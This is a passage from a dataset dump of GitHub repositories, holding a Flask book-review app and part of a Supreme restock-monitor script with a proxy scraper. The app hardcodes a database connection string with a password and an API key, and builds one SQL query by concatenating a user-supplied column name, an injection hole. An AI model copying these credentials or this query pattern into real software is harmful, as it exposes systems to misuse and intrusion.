NULL,\n year SMALLINT NOT NULL\n);\n\nCREATE TABLE userbase (\n id SERIAL PRIMARY KEY,\n username VARCHAR UNIQUE NOT NULL,\n password VARCHAR NOT NULL\n);\n\n\nCREATE TABLE reviews (\n id SERIAL PRIMARY KEY,\n user_id INTEGER REFERENCES users,\n book_id INTEGER REFERENCES books,\n rating SMALLINT NOT NULL CONSTRAINT Invalid_Rating CHECK (rating <=5 AND rating>=1),\n comment VARCHAR\n);\n"},{"alpha_fraction":0.813725471496582,"alphanum_fraction":0.8235294222831726,"avg_line_length":16,"blob_id":"68d2034c70026c9804592399e7dda062862dc599","content_id":"30f79b46cb5c7fef730e1c9d5f6d064cd9a7db1c","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Text","length_bytes":102,"license_type":"permissive","max_line_length":52,"num_lines":6,"path":"/project1/requirements.txt","repo_name":"chris65013/bibliotheca","src_encoding":"UTF-8","text":"Flask\nFlask-Session\npsycopg2\nSQLAlchemy\nrequests\n# Not adding Werkzeug as it is a dependency fo Flask\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7987616062164307,\n \"alphanum_fraction\": 0.8049535751342773,\n \"avg_line_length\": 45.14285659790039,\n \"blob_id\": \"443435597763baaa8a97b27596d0939d703e8c60\",\n \"content_id\": \"2594704dc5f82fd9bd9bc7bc0c5fa58c39a6a028\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 323,\n \"license_type\": \"permissive\",\n \"max_line_length\": 112,\n \"num_lines\": 7,\n \"path\": \"/project1/README.md\",\n \"repo_name\": \"chris65013/bibliotheca\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Project 1\\n\\nWeb Programming with Python and JavaScript\\n\\n`books.csv` contains books information imported for this project executing `python` code written in `import.py`.\\n`Templates` folder contains webpages needed for the website incoded in jinja2.\\n`Static` folder contains logo and css stylesheet needed for this website\\n\"\n },\n {\n \"alpha_fraction\": 0.6176470518112183,\n \"alphanum_fraction\": 0.619099497795105,\n \"avg_line_length\": 40.5175895690918,\n \"blob_id\": \"5c600f6e2ab96df8d8f5b3e7d19eff480bec8feb\",\n \"content_id\": \"6aa3e4cbd0093f2d13425d1784912698b8d7435c\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 8262,\n \"license_type\": \"permissive\",\n \"max_line_length\": 131,\n \"num_lines\": 199,\n \"path\": \"/project1/application.py\",\n \"repo_name\": \"chris65013/bibliotheca\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\nimport requests\\n\\nfrom flask import Flask, session, render_template, request, jsonify\\nfrom flask_session import Session\\nfrom sqlalchemy import create_engine\\nfrom sqlalchemy.orm import scoped_session, sessionmaker\\nfrom werkzeug.security import generate_password_hash, check_password_hash\\n\\napp = Flask(__name__)\\n\\n# Check for environment variable even though the create_engine is using the database url because I'm not very bright\\nif not os.getenv(\\\"DATABASE_URL\\\"):\\n raise RuntimeError(\\\"DATABASE_URL is not set\\\")\\n\\n# Configure session to use filesystem\\napp.config[\\\"SESSION_PERMANENT\\\"] = False\\napp.config[\\\"SESSION_TYPE\\\"] = \\\"filesystem\\\"\\nSession(app)\\n\\n# Set up database\\nengine = create_engine('postgres://xvfqwrzgppnzdg:0f69793a9e538a174a5c3e5c3baf3e9c701ceb3c6b27c151d7715e39a0ee9376@ec2-3-230-106-126.compute-1.amazonaws.com:5432/dc0aako6mb7lag')\\n\\ndb = scoped_session(sessionmaker(bind=engine))\\n\\n\\n# Homepage\\n@app.route(\\\"/\\\")\\ndef index():\\n status = \\\"Loggedout\\\"\\n try:\\n username=session[\\\"username\\\"]\\n status=\\\"\\\"\\n except KeyError:\\n username=\\\"\\\"\\n return render_template(\\\"index.html\\\", work=\\\"Login\\\", status=status, username=username)\\n\\n\\n# Login Page\\n@app.route(\\\"/login\\\", methods=[\\\"GET\\\", \\\"POST\\\"])\\ndef login():\\n # Request rom /register\\n if request.method == \\\"POST\\\":\\n username = request.form.get(\\\"username\\\")\\n # Checking if the user is registered\\n if db.execute(\\\"SELECT id FROM userbase WHERE username= :username\\\", {\\\"username\\\": username}).fetchone() is not None:\\n return render_template(\\\"login.html\\\", work=\\\"Login\\\",\\n error_message=\\\"The user has already registered. Please Login.\\\")\\n password = request.form.get(\\\"Password\\\")\\n db.execute(\\\"INSERT INTO userbase (username, password) VALUES (:username, :password)\\\",\\n {\\\"username\\\": username, \\\"password\\\": generate_password_hash(password)})\\n db.commit()\\n return render_template(\\\"login.html\\\", work=\\\"Login\\\", message=\\\"Success\\\")\\n\\n return render_template(\\\"login.html\\\", work=\\\"Login\\\")\\n\\n\\n# Logout for the website\\n@app.route(\\\"/logout\\\")\\ndef logout():\\n try:\\n session.pop(\\\"username\\\")\\n except KeyError:\\n return render_template(\\\"login.html\\\", work=\\\"Login\\\", error_message=\\\"Please Login First\\\")\\n return render_template(\\\"index.html\\\", work=\\\"Login\\\", status=\\\"Loggedout\\\")\\n\\n\\n# Register Page\\n@app.route(\\\"/register\\\")\\ndef register():\\n return render_template(\\\"login.html\\\", work=\\\"Register\\\")\\n\\n\\n# Comes after logging in\\n@app.route(\\\"/search\\\", methods=[\\\"GET\\\", \\\"POST\\\"])\\ndef search():\\n # Request from /login to log a user in\\n if request.method == \\\"POST\\\":\\n # Checking if the user is present, if not present show error message and redirect to /register\\n username = request.form.get(\\\"username\\\")\\n user = db.execute(\\\"SELECT id, password FROM userbase WHERE username= :username\\\", {\\\"username\\\": username}).fetchone()\\n if user is None:\\n return render_template(\\\"login.html\\\", error_message=\\\"The user hasn't been registered. Please register.\\\",\\n work=\\\"Register\\\")\\n\\n password = request.form.get(\\\"Password\\\")\\n if not check_password_hash(user.password, password):\\n return render_template(\\\"login.html\\\", error_message=\\\"Your password doesn't match to that of \\\" + username +\\n \\\". Please try again.\\\", work=\\\"Login\\\")\\n session[\\\"username\\\"] = username\\n session[\\\"user_id\\\"] = user.id\\n if request.method == \\\"GET\\\" and \\\"username\\\" not in session:\\n return render_template(\\\"login.html\\\", error_message=\\\"Please Login First\\\", work=\\\"Login\\\")\\n return render_template(\\\"search.html\\\", username=username)\\n\\n\\n# Page to show books as per search result\\n@app.route(\\\"/booklist\\\", methods=[\\\"POST\\\"])\\ndef booklist():\\n if \\\"username\\\" not in session:\\n return render_template(\\\"login.html\\\", error_message=\\\"Please Login First\\\", work=\\\"Login\\\")\\n\\n book_column = request.form.get(\\\"book_column\\\")\\n query = request.form.get(\\\"query\\\")\\n\\n if book_column == \\\"year\\\":\\n book_list = db.execute(\\\"SELECT * FROM books WHERE year = :query\\\", {\\\"query\\\": query}).fetchall()\\n else:\\n book_list = db.execute(\\\"SELECT * FROM books WHERE UPPER(\\\" + book_column + \\\") LIKE :query ORDER BY title\\\",\\n {\\\"query\\\": \\\"%\\\" + query.upper() + \\\"%\\\"}).fetchall()\\n\\n if len(book_list):\\n return render_template(\\\"booklist.html\\\", book_list=book_list, username=session[\\\"username\\\"])\\n\\n elif book_column != \\\"year\\\":\\n error_message = \\\"We couldn't find the books you searched for.\\\"\\n if not len(book_list):\\n return render_template(\\\"error.html\\\", error_message=error_message)\\n message = \\\"You might be searching for:\\\"\\n return render_template(\\\"booklist.html\\\", error_message=error_message, book_list=book_list, message=message,\\n username=session[\\\"username\\\"])\\n else:\\n return render_template(\\\"error.html\\\", error_message=\\\"We didn't find any book with the year you typed.\\\"\\n \\\" Please check for errors and try again.\\\")\\n\\n\\n# Detail about book that matches id\\n@app.route(\\\"/detail/<int:book_id>\\\", methods=[\\\"GET\\\", \\\"POST\\\"])\\ndef detail(book_id):\\n if \\\"username\\\" not in session:\\n return render_template(\\\"login.html\\\", error_message=\\\"Please Login First\\\", work=\\\"Login\\\")\\n\\n book = db.execute(\\\"SELECT * FROM books WHERE id = :book_id\\\", {\\\"book_id\\\": book_id}).fetchone()\\n if book is None:\\n return render_template(\\\"error.html\\\", error_message=\\\"We got an invalid book id\\\"\\n \\\". Please check for the errors and try again.\\\")\\n\\n # Summiting review.\\n if request.method == \\\"POST\\\":\\n user_id = session[\\\"user_id\\\"]\\n rating = request.form.get(\\\"rating\\\")\\n comment = request.form.get(\\\"comment\\\")\\n if db.execute(\\\"SELECT id FROM reviews WHERE user_id = :user_id AND book_id = :book_id\\\",\\n {\\\"user_id\\\": user_id, \\\"book_id\\\": book_id}).fetchone() is None:\\n db.execute(\\n \\\"INSERT INTO reviews (user_id, book_id, rating, comment) VALUES (:user_id, :book_id, :rating, :comment)\\\",\\n {\\\"book_id\\\": book.id, \\\"user_id\\\": user_id, \\\"rating\\\": rating, \\\"comment\\\": comment})\\n else:\\n db.execute(\\n \\\"UPDATE reviews SET comment = :comment, rating = :rating WHERE user_id = :user_id AND book_id = :book_id\\\",\\n {\\\"comment\\\": comment, \\\"rating\\\": rating, \\\"user_id\\\": user_id, \\\"book_id\\\": book_id})\\n db.commit()\\n\\n # Processing json from goodreads\\n res = requests.get(\\\"https://www.goodreads.com/book/review_counts.json\\\",\\n params={\\\"key\\\": \\\"ciOVC4V8WZ9EtWjYCdxRUg\\\", \\\"isbns\\\": book.isbn}).json()[\\\"books\\\"][0]\\n\\n ratings_count = res[\\\"ratings_count\\\"]\\n average_rating = res[\\\"average_rating\\\"]\\n reviews = db.execute(\\\"SELECT * FROM reviews WHERE book_id = :book_id\\\", {\\\"book_id\\\": book.id}).fetchall()\\n userbase = []\\n for review in reviews:\\n username = db.execute(\\\"SELECT username FROM userbase WHERE id = :user_id\\\", {\\\"user_id\\\": review.user_id}).fetchone().username\\n userbase.append((username, review))\\n\\n return render_template(\\\"detail.html\\\", book=book, userbase=userbase,\\n ratings_count=ratings_count, average_rating=average_rating, username=session[\\\"username\\\"])\\n\\n\\n# Page for the website's API\\n@app.route(\\\"/api/<ISBN>\\\", methods=[\\\"GET\\\"])\\ndef api(ISBN):\\n book = db.execute(\\\"SELECT * FROM books WHERE isbn = :ISBN\\\", {\\\"ISBN\\\": ISBN}).fetchone()\\n if book is None:\\n return render_template(\\\"error.html\\\", error_message=\\\"We got an invalid ISBN. \\\"\\n \\\"Please check for the errors and try again.\\\")\\n reviews = db.execute(\\\"SELECT * FROM reviews WHERE book_id = :book_id\\\", {\\\"book_id\\\": book.id}).fetchall()\\n count = 0\\n rating = 0\\n for review in reviews:\\n count += 1\\n rating += review.rating\\n if count:\\n average_rating = rating / count\\n else:\\n average_rating = 0\\n\\n return jsonify(\\n title=book.title,\\n author=book.author,\\n year=book.year,\\n isbn=book.isbn,\\n review_count=count,\\n average_score=average_rating\\n )\\n\\n\\nif __name__ == \\\"__main__\\\":\\n app.run(debug=True)\\n\"\n },\n {\n \"alpha_fraction\": 0.4695759117603302,\n \"alphanum_fraction\": 0.4800245761871338,\n \"avg_line_length\": 26.593219757080078,\n \"blob_id\": \"44e18b413dc616879aeab96c58e18e11ff5dded2\",\n \"content_id\": \"d829c004db447f09b0a9c1d671725815e53b1a7c\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"HTML\",\n \"length_bytes\": 1627,\n \"license_type\": \"permissive\",\n \"max_line_length\": 76,\n \"num_lines\": 59,\n \"path\": \"/project1/templates/detail.html\",\n \"repo_name\": \"chris65013/bibliotheca\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"{% extends \\\"base.html\\\" %}\\n\\n{% block anchor %}\\n <a class=\\\"nav-link \\\" href='{{ url_for('logout') }}'>\\n Logout <strong>{{ username }}</strong>\\n </a>\\n{% endblock %}\\n\\n{% block body %}\\n <h1>Book Details:</h1>\\n <p>\\n ISBN: {{ book.isbn }}<br>\\n Title: {{ book.title }}<br>\\n Author: {{ book.author }}<br>\\n Year: {{ book.year }}<br>\\n </p>\\n\\n <br><h3>Goodreads Rating:</h3>\\n <p>\\n Total Number of Ratings : {{ ratings_count }} <br>\\n Average Rating : {{ average_rating }}<br>\\n </p>\\n\\n <h3>Reviews:</h3>\\n <div class=\\\"rating_local\\\">\\n {% for username, review in userbase %}\\n <h5>{{ username }}</h5>\\n <strong>Rating: </strong> {{ review.rating }} <br>\\n <h6>Comment:</h6>\\n <p>\\n {{ review.comment }}\\n </p>\\n {% endfor %}\\n\\n </div>\\n\\n <br><h3>User Ratings</h3>\\n <form action = \\\"{{ url_for('detail', book_id=book.id) }}\\\" method=\\\"post\\\">\\n\\n <div class=\\\"form-group\\\">\\n <label for=\\\"rating\\\">Rating ( Out of 5 )</label>\\n <select class=\\\"form-control\\\" name=\\\"rating\\\" id=\\\"rating\\\">\\n {% for count in range(5) %}\\n <option value=\\\"{{ count+1 }}\\\">{{ count+1 }}</option>\\n {% endfor %}\\n </select>\\n </div>\\n <div class=\\\"form-group\\\">\\n <label for=\\\"comment\\\">Comment:</label>\\n <textarea class=\\\"form-control\\\" rows=\\\"5\\\" name=\\\"comment\\\"></textarea>\\n </div>\\n\\n <div class=\\\"form-group\\\">\\n <button class=\\\"btn btn-primary\\\" type=\\\"submit\\\">Submit</button>\\n </div>\\n\\n </form>\\n\\n{% endblock %}\"\n },\n {\n \"alpha_fraction\": 0.6062052249908447,\n \"alphanum_fraction\": 0.6133651733398438,\n \"avg_line_length\": 45.592594146728516,\n \"blob_id\": \"90ad59e2cbf3ba818ab3d6e0971cd5a5c1775799\",\n \"content_id\": \"7da6cc9ffdb87dc3a61f9c656341c43646f57cd1\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"HTML\",\n \"length_bytes\": 1257,\n \"license_type\": \"permissive\",\n \"max_line_length\": 138,\n \"num_lines\": 27,\n \"path\": \"/project1/templates/homepage.html\",\n \"repo_name\": \"chris65013/bibliotheca\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"{% extends 'base.html' %}\\n\\n{% block anchor %}\\n {% if status == \\\"Loggedout\\\" %}\\n <a class=\\\"nav-link \\\" href='{{ url_for('login') }}' xmlns=\\\"http://www.w3.org/1999/html\\\">\\n Login\\n </a>\\n {% else %}\\n <a class=\\\"nav-link \\\" href='{{ url_for('logout') }}'>\\n Logout <strong>{{ user_email }}</strong>\\n </a>\\n {% endif %}\\n\\n{% endblock %}\\n\\n{% block body %}\\n <br>\\n <p>\\n Welcome to <strong>Book Sansar</strong> which literal translation is \\\"Word of Books\\\". Knowing \\\"A book is a man's best friend.\\\",\\n we have brought you a collection of more than 4500 books. Here you can find with their detail information like ISBN, year, author,\\n etc. You can see the rating for the book you desired after you logged in here. You can submit review to any book you like and\\n comment it to help other readers know how is the book. We have added \\\"Goodreads\\\" API too, from where you can see a book's global\\n desire with its rating number and average rating from readers world wide. We have also created an API from our site, just in case\\n you want get information from our database and build you own web application or website.\\n </p>\\n\\n{% endblock %}\"\n },\n {\n \"alpha_fraction\": 0.701127827167511,\n \"alphanum_fraction\": 0.7048872113227844,\n \"avg_line_length\": 23.18181800842285,\n \"blob_id\": \"58bc4027a11055459d696c4cf43eb92ab74f7bdb\",\n \"content_id\": \"eff59d3bb6c5bb3b546d9b8b76d87a2769a43803\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"SQL\",\n \"length_bytes\": 532,\n \"license_type\": \"permissive\",\n \"max_line_length\": 88,\n \"num_lines\": 22,\n \"path\": \"/project1/create.sql\",\n \"repo_name\": \"chris65013/bibliotheca\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"CREATE TABLE books (\\n id SERIAL PRIMARY KEY,\\n isbn VARCHAR UNIQUE NOT NULL,\\n title VARCHAR NOT NULL,\\n author VARCHAR NOT NULL,\\n year SMALLINT NOT NULL\\n);\\n\\nCREATE TABLE userbase (\\n id SERIAL PRIMARY KEY,\\n username VARCHAR UNIQUE NOT NULL,\\n password VARCHAR NOT NULL\\n);\\n\\n\\nCREATE TABLE reviews (\\n id SERIAL PRIMARY KEY,\\n user_id INTEGER REFERENCES users,\\n book_id INTEGER REFERENCES books,\\n rating SMALLINT NOT NULL CONSTRAINT Invalid_Rating CHECK (rating <=5 AND rating>=1),\\n comment VARCHAR\\n);\\n\"\n },\n {\n \"alpha_fraction\": 0.813725471496582,\n \"alphanum_fraction\": 0.8235294222831726,\n \"avg_line_length\": 16,\n \"blob_id\": \"68d2034c70026c9804592399e7dda062862dc599\",\n \"content_id\": \"30f79b46cb5c7fef730e1c9d5f6d064cd9a7db1c\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Text\",\n \"length_bytes\": 102,\n \"license_type\": \"permissive\",\n \"max_line_length\": 52,\n \"num_lines\": 6,\n \"path\": \"/project1/requirements.txt\",\n \"repo_name\": \"chris65013/bibliotheca\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Flask\\nFlask-Session\\npsycopg2\\nSQLAlchemy\\nrequests\\n# Not adding Werkzeug as it is a dependency fo Flask\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":6,"string":"6"}}},{"rowIdx":2984070,"cells":{"repo_name":{"kind":"string","value":"k-webb/supreme"},"repo_url":{"kind":"string","value":"https://github.com/k-webb/supreme"},"snapshot_id":{"kind":"string","value":"18201a064781a294ff1e0da70c59237e973c310c"},"revision_id":{"kind":"string","value":"acfad9bdb1e4c7009d82b0410e32505f7b83dfaa"},"directory_id":{"kind":"string","value":"008f073143748ddb6edab753d503597edf1d6c2f"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-03-19T17:54:44.984137","string":"2021-03-19T17:54:44.984137"},"revision_date":{"kind":"timestamp","value":"2017-10-20T02:21:55","string":"2017-10-20T02:21:55"},"committer_date":{"kind":"timestamp","value":"2017-10-20T02:21:55","string":"2017-10-20T02:21:55"},"github_id":{"kind":"number","value":101513687,"string":"101,513,687"},"star_events_count":{"kind":"number","value":10,"string":"10"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.534375011920929,"alphanum_fraction":0.5531250238418579,"avg_line_length":34.55555725097656,"blob_id":"3516e63417828d05d519a81ec9b4d9a9797e24e7","content_id":"65ed1ba23f29fc69cf315ec46c8d0088c896a2f8","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":320,"license_type":"permissive","max_line_length":76,"num_lines":9,"path":"/get_p.py","repo_name":"k-webb/supreme","src_encoding":"UTF-8","text":"import requests,re\n\nwith open('proxies.txt','r+') as proxy_file:\n p1 = requests.get('https://www.us-proxy.org/')\n found = re.findall('</tr><tr><td>(.*?)</td><td>(.*?)</td><td>', p1.text)\n for f in found:\n format_f = '{0}:{1}\\n'.format(f[0],f[1])\n proxy_file.write(format_f)\n proxy_file.close()\n"},{"alpha_fraction":0.5635359287261963,"alphanum_fraction":0.580110490322113,"avg_line_length":10.3125,"blob_id":"8ca33d4ce8370a4909df36d2c50f2e784ea4c0e5","content_id":"42ce2355c42b932806a0af5242d8d1dea72e478f","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":181,"license_type":"permissive","max_line_length":34,"num_lines":16,"path":"/README.md","repo_name":"k-webb/supreme","src_encoding":"UTF-8","text":"# SUPREME\n\n\n## TODO\n- [X] - RESTOCK MONITOR\n- [X] - ADD PROXIES\n- [ ] - CHECKOUT FUNCTION\n- [ ] - GET A 12 PACK OF BUDWEISER\n\n\nHOW TO RUN -\n\n```sh\n$ cd supreme\n$ python3 sup.py\n```\n"},{"alpha_fraction":0.5417964458465576,"alphanum_fraction":0.5628244876861572,"avg_line_length":31.100000381469727,"blob_id":"75ae5f7d89d3ec28b1705dad64307f2ddd8ae1c9","content_id":"7c612244fcecabc5fc07bf39a8909f6d17826db6","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3852,"license_type":"permissive","max_line_length":164,"num_lines":120,"path":"/sup.py","repo_name":"k-webb/supreme","src_encoding":"UTF-8","text":"import requests as r\nfrom datetime import datetime\nimport json, re, socket, time, sys, random\nfrom slackclient import SlackClient\n\ndef UTCtoEST():\n\tcurrent = datetime.now()\n\treturn str(current) + \" CST\"\nsocket.setdefaulttimeout(2)\n\nsc = SlackClient(\"SLACK KEY HERE\")\n\n\nclass Supreme:\n\tdef __init__(self):\n\t\tself.headers = {'user-agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36'}\n\t\tself.totalstock = 0\n\t\tself.l1 = []\n\n\tdef get_stock(self,link,p):\n\n\t\t###USE PROXIES, RANDOM CHOICE\n\t\t'''\n\t\twith open('proxies.txt','r+') as goodproxies:\n\t\t\tproxies = goodproxies.read().splitlines()\n\t\t\tx = random.choice(proxies)\n\t\t\tbs = {'http': x}\n\t\t\tprint (bs)\n\t\t\t#HARD CODE PROXIES\n\t\t\t#proxies = {'http': '69.27.184.131:53281','https': '69.27.184.131:53281'}\n\t\t\ta = r.get(link,headers=self.headers,proxies=bs)\n\t\t'''\n\t\t##NO PROXIES , DEFAULT\n\t\ta = r.get(link,headers=self.headers)\n\n\t\tprint (a.status_code)\n\t\t#print (a.text)\n\t\tb = json.loads(a.text)\n\t\tinfo = b[u'styles']\n\t\tfor value in info:\n\t\t\tpic = value[u'mobile_zoomed_url']\n\t\t\tpic = 'https:'+str(pic)\n\t\t\tcolor = value[u'name']\n\t\t\tsizes = value[u'sizes']\n\t\t\tif p == True:\n\t\t\t\tprint ('{0} {1}'.format(color,pic))\n\t\t\tfor size in sizes:\n\t\t\t\tsizelabel = size[u'name']\n\t\t\t\tsizeid = size[u'id']\n\t\t\t\tstock = size[u'stock_level']\n\t\t\t\tself.totalstock = self.totalstock + stock\n\t\t\t\tif p == True:\n\t\t\t\t\tm = ('{0} {1} {2} {3} {4}'.format(color, pic, sizelabel, sizeid, stock))\n\t\t\t\t\t#print (m)\n\t\t\t\t\tif stock != 0:\n\t\t\t\t\t\tself.l1.append(m)\n\t\t\tif p == True:\n\t\t\t\tprint ('\\n')\n\tdef monitor(self,link):\n\t\tdef send_message(team,channel,username, title, link, site, sizes, thumb):\n\t\t\tattachments = [\n {\n \"color\": \"#36a64f\",\n \"title\": title,\n \"title_link\": link,\n \"text\": \"Site: %s\"%site,\n \"fields\": [\n {\n \"title\": \"Sizes Available\",\n \"value\": sizes,\n \"short\": False\n }\n ],\n #\"image_url\": thumb\n \"thumb_url\": thumb,\n \"ts\": int(time.time())\n }\n ]\n\t\t\ttry:\n\t\t\t\tres = team.api_call(\"chat.postMessage\", channel=channel, attachments=attachments, username=username,icon_emoji=':hocho:')\n\t\t\t\tif not res.get('ok'):\n\t\t\t\t\tprint('error: {}', res.get('error'))\n\t\t\texcept Exception as y:\n\t\t\t\tprint (y)\n\t\t\t\tprint('send_message failed')\n\t\tif self.totalstock == 0:\n\t\t\ttry:\n\t\t\t\tself.get_stock(link,p=True)\n\t\t\t\tif self.totalstock == 0:\n\t\t\t\t\tprint ('--- CHECK STATUS --- OUT OF STOCK %s'%UTCtoEST())\n\t\t\t\t\ttime.sleep(int(self.interval))\n\t\t\t\t\tself.monitor(link)\n\t\t\t\telse:\n\t\t\t\t\tsend_message(sc,'#CHANNEL NAME HERE','BOT USER NAME HERE','titleOfProduct',link[:-5],'<SupremeNY|http://www.supremenewyork.com/shop/all>','strcartlinks','img')\n\t\t\t\t\t##INSERT SLACK [X]/ TWITTER [ ]/ CHECKOUT [ ] FUNCTION HERE\n\t\t\t\t\tprint('--- CHECK STATUS --- RESTOCK\\n%s -- %s'%(link,UTCtoEST()))\n\t\t\texcept Exception as monitor_error:\n\t\t\t\tprint ('MONITOR ERROR\\n%s'%monitor_error)\n\t\t\t\tpass\n\n\tdef prompt(self):\n\t\tlink = input('Please Enter A Link To Monitor..\\n')\n\t\tlink = str(link)+'.json'\n\t\ttry:\n\t\t\tself.get_stock(link,p=True)\n\t\texcept Exception as get_stock_error:\n\t\t\tprint (get_stock_error)\n\t\t\tpass\n\t\tprint ('{0} {1}'.format('TOTAL STOCK - ',self.totalstock))\n\t\tif self.totalstock == 0:\n\t\t\trestock_answer = input('This product is out of stock, start restock mode? Enter - (y/n)\\n')\n\t\t\tif restock_answer.lower() == 'y':\n\t\t\t\tself.interval = input('Please Enter An Interval..\\n')\n\t\t\t\tself.monitor(link)\n\t\t\telse:\n\t\t\t\tprint (restock_answer)\n\t\t\t\tsys.exit()\n\ninstance = Supreme()\ninstance.prompt()\n"}],"string":"[\n {\n \"alpha_fraction\": 0.534375011920929,\n \"alphanum_fraction\": 0.5531250238418579,\n \"avg_line_length\": 34.55555725097656,\n \"blob_id\": \"3516e63417828d05d519a81ec9b4d9a9797e24e7\",\n \"content_id\": \"65ed1ba23f29fc69cf315ec46c8d0088c896a2f8\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 320,\n \"license_type\": \"permissive\",\n \"max_line_length\": 76,\n \"num_lines\": 9,\n \"path\": \"/get_p.py\",\n \"repo_name\": \"k-webb/supreme\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests,re\\n\\nwith open('proxies.txt','r+') as proxy_file:\\n p1 = requests.get('https://www.us-proxy.org/')\\n found = re.findall('</tr><tr><td>(.*?)</td><td>(.*?)</td><td>', p1.text)\\n for f in found:\\n format_f = '{0}:{1}\\\\n'.format(f[0],f[1])\\n proxy_file.write(format_f)\\n proxy_file.close()\\n\"\n },\n {\n \"alpha_fraction\": 0.5635359287261963,\n \"alphanum_fraction\": 0.580110490322113,\n \"avg_line_length\": 10.3125,\n \"blob_id\": \"8ca33d4ce8370a4909df36d2c50f2e784ea4c0e5\",\n \"content_id\": \"42ce2355c42b932806a0af5242d8d1dea72e478f\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 181,\n \"license_type\": \"permissive\",\n \"max_line_length\": 34,\n \"num_lines\": 16,\n \"path\": \"/README.md\",\n \"repo_name\": \"k-webb/supreme\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# SUPREME\\n\\n\\n## TODO\\n- [X] - RESTOCK MONITOR\\n- [X] - ADD PROXIES\\n- [ ] - CHECKOUT FUNCTION\\n- [ ] - GET A 12 PACK OF BUDWEISER\\n\\n\\nHOW TO RUN -\\n\\n```sh\\n$ cd supreme\\n$ python3 sup.py\\n```\\n\"\n },\n {\n \"alpha_fraction\": 0.5417964458465576,\n \"alphanum_fraction\": 0.5628244876861572,\n \"avg_line_length\": 31.100000381469727,\n \"blob_id\": \"75ae5f7d89d3ec28b1705dad64307f2ddd8ae1c9\",\n \"content_id\": \"7c612244fcecabc5fc07bf39a8909f6d17826db6\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3852,\n \"license_type\": \"permissive\",\n \"max_line_length\": 164,\n \"num_lines\": 120,\n \"path\": \"/sup.py\",\n \"repo_name\": \"k-webb/supreme\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests as r\\nfrom datetime import datetime\\nimport json, re, socket, time, sys, random\\nfrom slackclient import SlackClient\\n\\ndef UTCtoEST():\\n\\tcurrent = datetime.now()\\n\\treturn str(current) + \\\" CST\\\"\\nsocket.setdefaulttimeout(2)\\n\\nsc = SlackClient(\\\"SLACK KEY HERE\\\")\\n\\n\\nclass Supreme:\\n\\tdef __init__(self):\\n\\t\\tself.headers = {'user-agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36'}\\n\\t\\tself.totalstock = 0\\n\\t\\tself.l1 = []\\n\\n\\tdef get_stock(self,link,p):\\n\\n\\t\\t###USE PROXIES, RANDOM CHOICE\\n\\t\\t'''\\n\\t\\twith open('proxies.txt','r+') as goodproxies:\\n\\t\\t\\tproxies = goodproxies.read().splitlines()\\n\\t\\t\\tx = random.choice(proxies)\\n\\t\\t\\tbs = {'http': x}\\n\\t\\t\\tprint (bs)\\n\\t\\t\\t#HARD CODE PROXIES\\n\\t\\t\\t#proxies = {'http': '69.27.184.131:53281','https': '69.27.184.131:53281'}\\n\\t\\t\\ta = r.get(link,headers=self.headers,proxies=bs)\\n\\t\\t'''\\n\\t\\t##NO PROXIES , DEFAULT\\n\\t\\ta = r.get(link,headers=self.headers)\\n\\n\\t\\tprint (a.status_code)\\n\\t\\t#print (a.text)\\n\\t\\tb = json.loads(a.text)\\n\\t\\tinfo = b[u'styles']\\n\\t\\tfor value in info:\\n\\t\\t\\tpic = value[u'mobile_zoomed_url']\\n\\t\\t\\tpic = 'https:'+str(pic)\\n\\t\\t\\tcolor = value[u'name']\\n\\t\\t\\tsizes = value[u'sizes']\\n\\t\\t\\tif p == True:\\n\\t\\t\\t\\tprint ('{0} {1}'.format(color,pic))\\n\\t\\t\\tfor size in sizes:\\n\\t\\t\\t\\tsizelabel = size[u'name']\\n\\t\\t\\t\\tsizeid = size[u'id']\\n\\t\\t\\t\\tstock = size[u'stock_level']\\n\\t\\t\\t\\tself.totalstock = self.totalstock + stock\\n\\t\\t\\t\\tif p == 